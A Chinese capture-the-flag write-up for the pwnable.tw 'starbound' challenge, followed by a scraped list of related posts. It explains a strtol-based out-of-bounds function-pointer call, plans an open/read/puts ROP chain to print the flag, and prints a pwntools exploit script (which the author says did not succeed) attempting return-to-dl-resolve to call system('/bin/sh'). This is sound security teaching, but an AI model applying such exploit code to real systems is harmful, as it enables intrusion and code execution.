此题的代码量很大,看了一整天的逻辑代码,没发现什么问题...

整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数。

函数的漏洞主要在main函数中,main函数中使用了strtol函数将用户输入转换为字符串,并根据此转换结果,对子函数进行访问。

当用户输入过大或过小时,会导致越界访问的问题,其中,strtol函数的返回值可能为负数。

bss段中,用户输入的名称最开始是随机生成的,但用户可以更改。而此字段在函数指针数组上面,也就是说,用户可以通过控制名称的方式获得一次指令执行的机会

再查看一下安全保护机制

可以使用ROP的方式来利用漏洞。由于main函数中用户可以输入0x100长的字符给v5,因此,v5可作为ROP的存放位置,在name中找到一个gadget使得EIP跳转到位于栈上v5字段内即可。

由于此题没有附带libc,也没找到可以泄露地址的漏洞,因此在ROP中使用了在plt区域有的open、read、puts函数来打印flag,其中从dalao那里get的知识点是,read函数的第一个参数是一个int类型的值,

用于标识文件身份,其中0 : stdin、1:stdout、2:stderr,本题内没有打开未关闭的文件,因此read(3,&buf,0x10)完全可以读出flag。

另外,恰巧在最近接触到了return to dl-resolve的原理:http://www.freebuf.com/articles/system/149214.html

此题恰巧也符合使用该技术的先决条件,但貌似ld.so做了保护,没有成功,在网上没有找到相关的保护手段,通过调试发现ld.so以偏移量获取了程序.gnu.version的内容,进一步运算,但我构造的偏移量过大,

导致运算超出了可读写的范围,造成程序崩溃。暂未找到其他方法,此坑以后再填。

暂存未成功的return-to-dl-resolve代码:

from pwn import *
debug = 1
context(arch='i386',os='linux',endian='little')
context.log_level='debug'
elf = ELF('./starbound')
if debug:
p=process('./starbound')
file = '~/Desktop/pwn/tw/starbound/flag' else:
p=remote('chall.pwnable.tw',10202)
file = '/home/starbound/flag\0\0\0\0'
file = '/bin/sh\0' + '\0'*(len(file)-len('/bin/sh\0'))
gadget = 0x08048e48
bss_function = 0x08058150
bss_name = 0x080580D0 shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8
print '[*] shellcode len ',len(shellcode)
print '[*] ',hex(bss_name + len(shellcode) - 0x80481dc)
shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12)
distance3 = bss_name + len(shellcode) - 0x80484fc
print '[*] ',hex(distance3)
shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x000ff207) + 'a'*8 + p32(distance3)+p32(0)+p32(0)+p32(0x12) + 'system\x00'
shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12)
p.recvuntil('> ')
p.send('')
p.recvuntil('> ')
p.send('')
p.recvuntil(': ')
p.sendline(shellcode)
p.recvuntil('> ') distance = (bss_name + len(file) - bss_function)/4
#print str(distance)
gdb.attach(p,'b *0x0804A65D')
distance2 = bss_name + len(file) + 4 - 0x80487c8
cat_flag_exp = str(distance-1) + '\0' + 'a'*4 + p32(0x8048940) + p32(distance2) + p32(0xdeadbeef) + p32(bss_name)
'''
+ p32(elf.symbols['open']) + p32(gadget) + p32(bss_name) \
+ p32(0)+ 'a'*(0x1c-8) + p32(elf.symbols['read']) + p32(gadget) + p32(3) + p32(bss_name+20) + p32(0x40) +'a'*(0x1c-12) + p32(elf.symbols['puts']) + p32(0xdeadbeef) + p32(bss_name+20)
'''
'''
$ readelf -d starbound | grep JMPREL
0x00000017 (JMPREL) 0x80487c8 gdb-peda$ x /2x 0x80487c8+0x120
0x80488e8: 0x0805509c 0x00002807 readelf -d starbound | grep SYM
0x00000006 (SYMTAB) 0x80481dc
0x0000000b (SYMENT) 16 (bytes)
0x6ffffff0 (VERSYM) 0x80486f2 $ readelf -d starbound | grep STRTAB
0x00000005 (STRTAB) 0x80484fc ''' p.sendline(cat_flag_exp)
p.interactive() #0x08048e48 : add esp, 0x1c ; ret

【pwnable.tw】 starbound的更多相关文章

  1. 【pwnable.tw】 applestore

    做到这道题的时候正赶上iPhone 8上市,撒花~(虽然不知道为啥) 程序分析: 先进到main函数,比较简单. myCart位于bss段上,是一个长度为0x10. 主要的处理函数是handler函数 ...

  2. 【pwnable.tw】 alive_note

    突然发现已经两个月没写过WP了,愧疚- -... 此题也算一道分数很高的题目,主要考察Shellcode的编写. 又是一道题目逻辑很简单的题. 首先提供了三个函数 查看,删除,添加 查看函数: 此函数 ...

  3. 【pwnable.tw】 death_note

    题目逻辑比较简单,大概增加和删除和打印三个功能: show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大: delete函数中,正常的free,然后指针修改为n ...

  4. 【pwnable.tw】 seethefile

    一开始特别懵的一道题. main函数中一共4个功能,openfile.readfile.writefile.closefile. 其中,在最后退出时有一个明显的溢出,是scanf("%s&q ...

  5. 【pwnable.kr】 asm

    一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...

  6. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  7. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  8. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  9. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

随机推荐

  1. Dire Wolf HDU - 5115

    题目链接 一开始很自然的想到了贪心,跑了一下贪心,发现无法处理某一段已经被选走的情况,根据数据范围,区间dp比较适合,能储存区间取样信息 设dp[i][j]为已经杀死区间[i,j]的最小值,可以得到转 ...

  2. CSS Sprite精灵图如何缩放大小

    transform:scale( x ): 语法为:transform: scale(x,y). 同时有scaleX, scaleY专门的x, y方向的控制. 例如:transform: scale( ...

  3. 「题解」「HNOI2013」切糕

    文章目录 「题解」「HNOI2013」切糕 题目描述 思路分析及代码 题目分析 题解及代码 「题解」「HNOI2013」切糕 题目描述 点这里 思路分析及代码 题目分析 这道题的题目可以说得上是史上最 ...

  4. git 修改分支 删除分支 新增分支

    一.修改分支名 1.本地分支重命名 git branch -m oldName newName 2.将重命名后的分支推送到远程 git push origin newName 3.重新更新所有分支 g ...

  5. @implementer,抽象类,接口

    @implementer,抽象类,接口 1.      implementer 在看twisted源码时,经常出现@implementer(IReactorFDSet) 它来自zope.interfa ...

  6. SSD boot test script for(if)循环

    ;Author : Bing Song ;// ;Usage: modify log drictory according to actual drictory gettime timestr &qu ...

  7. Java基础知识笔记第六章:接口

    接口 /* 使用关键字interface来定义一个接口.接口的定义和类的定义很相似,分为接口声明和接口体 */ interface Printable{ final int max=100; void ...

  8. 「BJOI2018」求和

    「BJOI2018」求和 传送门 观察到 \(k\) 很小而且模数不会变,所以我们直接预处理 \(k\) 取所有值时树上前缀答案,查询的时候差分一下即可. 参考代码: #include <alg ...

  9. 五、centos7安装mysql:安装mysqlser

    一.下载通用安装二进制包 先下载mysql安装包:打开 http://dev.mysql.com/downloads/mysql/ 选择 linux - Generic并在其下选择 Linux - G ...

  10. mybatis注解基础使用

      一.创建Maven项目 代码:pom.xml <?xml version="1.0" encoding="UTF-8"?> <projec ...